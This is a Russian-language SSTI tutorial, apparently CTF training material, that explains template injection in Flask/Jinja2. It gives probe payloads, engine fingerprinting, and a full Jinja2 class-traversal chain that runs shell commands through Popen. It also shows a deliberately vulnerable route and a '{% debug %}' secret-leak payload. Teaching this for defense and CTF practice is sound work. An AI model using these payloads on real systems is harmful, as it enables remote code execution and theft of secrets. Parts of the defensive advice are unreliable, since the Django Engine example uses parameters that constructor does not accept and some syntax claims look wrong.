🎯 SSTI (Server-Side Template Injection): Экспертный анализ
💡 Физическая аналогия: Представьте, что шаблонизатор — это принтер, а злоумышленник подменил чернила на невидимые чернила, содержащие вредоносные инструкции.
🔍 Механизм работы уязвимости
Типичный уязвимый код (Python/Flask/Jinja2):
from flask import render_template_string
@app.route('/greeting')
def greeting():
name = request.args.get('name', 'Guest')
template = f"<h1>Привет, {name}!</h1>" # Уязвимое место!
return render_template_string(template)
Проблема: Пользовательский ввод name
напрямую встраивается в шаблон без санации.
📊 Матрица шаблонизаторов и их особенностей
🔬 Детальный процесс эксплуатации
Фаза 1: Обнаружение
Методика слепого тестирования:
# Проверка базовой инъекции
{{7*7}} → 49 (Jinja2/Twig)
${7*7} → 49 (Freemarker)
#{7*7} → 49 (Velocity)
Фаза 2: Идентификация движка
# Определение через обработку ошибок
{{invalid}} → Jinja2: "UndefinedError"
${invalid} → Freemarker: "Expression invalid"
Фаза 3: Построение цепочки эксплуатации
Пример для Jinja2:
# Получение базового класса
{{''.__class__}}
# Поиск подклассов
{{''.__class__.__mro__[1].__subclasses__()}}
# Поиск опасных классов (Popen, eval)
{{''.__class__.__mro__[1].__subclasses__()[413]}}
# Выполнение произвольных команд
{{''.__class__.__mro__[1].__subclasses__()[413]('ls', shell=True, stdout=-1).communicate()}}
🛡️ Глубокий анализ методов защиты
1. Sandbox-режим: Ограничения и обходы
Пример настройки Jinja2 с ограничениями:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
env.from_string(template).render()
Ограничения: Блокирует доступ к __builtins__
, но возможны обходы через цепочки прототипов.
2. Контекстно-зависимая санация
Правильный подход:
# Использование экранирования по контексту
<p>{{ user_input | e }}</p> # HTML-экранирование
<script>var x = {{ data | tojson }};</script> # JSON-экранирование
3. Белый список разрешенных операций
# Пример для Django
from django.template import Engine
engine = Engine(
allowed_tags=['if', 'for'],
allowed_filters=['upper', 'lower']
)
🔧 Продвинутые инструменты тестирования
📚 Реальные кейсы и CTF-примеры
Кейс 1: Утечка секретов в Django Admin
Payload: {% debug %}
→ вывод переменных окружения, SECRET_KEY
Кейс 2: RCE через Email-шаблоны
Уязвимый код:
send_email(user.email, render_template(request.GET.get('template')))
Эксплуатация: ?template={{7*7}}
📝 Задания на закрепление
- Задание на SSTI
- Порешайте задачи из раздела Задания, в названии которых есть слово web, в этих задачах нередко встречаются SSTI уязвимости
📖 Рекомендуемые ресурсы
- Книга: "The Web Application Hacker's Handbook" (Глава 10)
- Лаборатории: PortSwigger Academy (SSTI модуль)
- CTF-архивы: HackTheBox "Templated", TryHackMe "WebOSINT"
- Чек-лист: OWASP SSTI Prevention Cheat Sheet